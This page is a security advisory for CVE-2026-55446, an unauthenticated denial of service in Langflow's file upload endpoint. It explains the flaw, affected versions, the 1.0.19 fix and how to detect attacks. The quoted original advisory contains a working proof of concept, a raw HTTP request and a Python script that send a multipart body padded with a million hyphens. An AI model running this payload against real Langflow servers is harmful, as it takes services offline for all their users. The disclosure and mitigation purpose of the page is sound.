NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Langflow

CVE-2026-55446: Langflow: Unauthenticated DoS through multipart form boundary file upload

highCVSS 3.1 7.5GHSA-qwqc-p3q8-wcg9

Langflow before 1.0.19 can be knocked offline by one unauthenticated request to `/api/v1/files/upload/`. A multipart body with a huge run of hyphens after the boundary makes the server grind on parsing, and the app shows "server is busy" to everyone. The request can be repeated. Upgrade to 1.0.19.

Published Jun 19, 2026 · Analysis Oct 25, 2026

What an attacker can do

The upload handler in langflow/api/v1/files.py parses multipart data even when it is malformed. It does this before any authentication check, and it does not need a valid flow ID. A path like /api/v1/files/upload/test is enough.

The proof of concept sends a request whose closing boundary is followed by about a million hyphens. Parsing that payload ties up the application. Per the advisory, the app then stays in the "server is busy" state for all users, and the attacker can send the request again whenever they like, so the outage can last as long as they choose.

The attacker needs only network access to the Langflow port. No credentials, no cookies and no knowledge of any flow. The impact is availability alone (CVSS 7.5, no confidentiality or integrity loss). For teams that run Langflow as an internal or customer-facing AI workflow platform, one script can stop every flow and chat that depends on it.

Who is affected

pip package langflow before 1.0.19, in any deployment whose port is reachable by the attacker. The advisory shows the code at files.py in v1.0.18. Check your version:

pip show langflow

No setting turns the exposure off on affected versions.

langflow

Ecosystem
PyPI
Affected
< 1.0.19
Fixed in
1.0.19
Check
pip show langflow

How to fix it

Upgrade to Langflow 1.0.19 or later.

pip install --upgrade langflow

The fix, pull request 3923, adds a check_boundary HTTP middleware. It accepts only boundaries matching ^[\w\-]{1,70}$ and rejects malformed requests, including the hyphen payload, with HTTP 422 before the body is parsed. The upload endpoint now also requires an authenticated user and checks flow ownership, returning 403 on a mismatch. The advisory gives no other workaround. Before upgrading, block /api/v1/files/upload/ at your reverse proxy for unauthenticated callers.

How to tell if you were hit

Look in access logs for POSTs to /api/v1/files/upload/ with an unusual Content-Type: multipart/form-data boundary, a very large Content-Length, or a random flow ID such as test. Watch for the "server is busy" message, rising CPU use on the Langflow process and unresponsive requests. After the upgrade, 422 responses on that path point to rejected malformed boundaries.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.

Details

https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40

The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.

Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.

PoC

An attacker makes this request to upload a file without valid authentication information or a valid flow ID:

POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain

DoS in progress!

------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>

Here is the request in python:

import requests

url = "http://127.0.0.1:7860/api/v1/files/upload/test"

headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}

data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)

response = requests.post(url, headers=headers, data=data)

The app will then be stuck in the "server is busy" state for all users:

Impact

Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.

Patches

Fixed in 1.0.19 via PR #3923. A check_boundary HTTP middleware was added that validates the multipart boundary (^[\w\-]{1,70}$) and rejects malformed requests — including the oversized-hyphen payload — with HTTP 422 before the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (get_current_active_user + 403 on mismatch), closing the unauthenticated access vector. Upgrade to 1.0.19 or later.

Credited to ethansilvas, AntonioABLima, andifilhohub.

Questions

Does this need a valid account or flow ID?

No. The request works with no token or cookies, and with any value in place of a flow ID. Authentication is checked only after the fix.

Can the attacker run code or steal data?

Not through this flaw. The advisory describes an availability impact only: the app becomes unusable for all users.

Which version fixes CVE-2026-55446?

Langflow 1.0.19. Earlier versions are listed as vulnerable.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Langflow vulnerabilities

All Langflow entries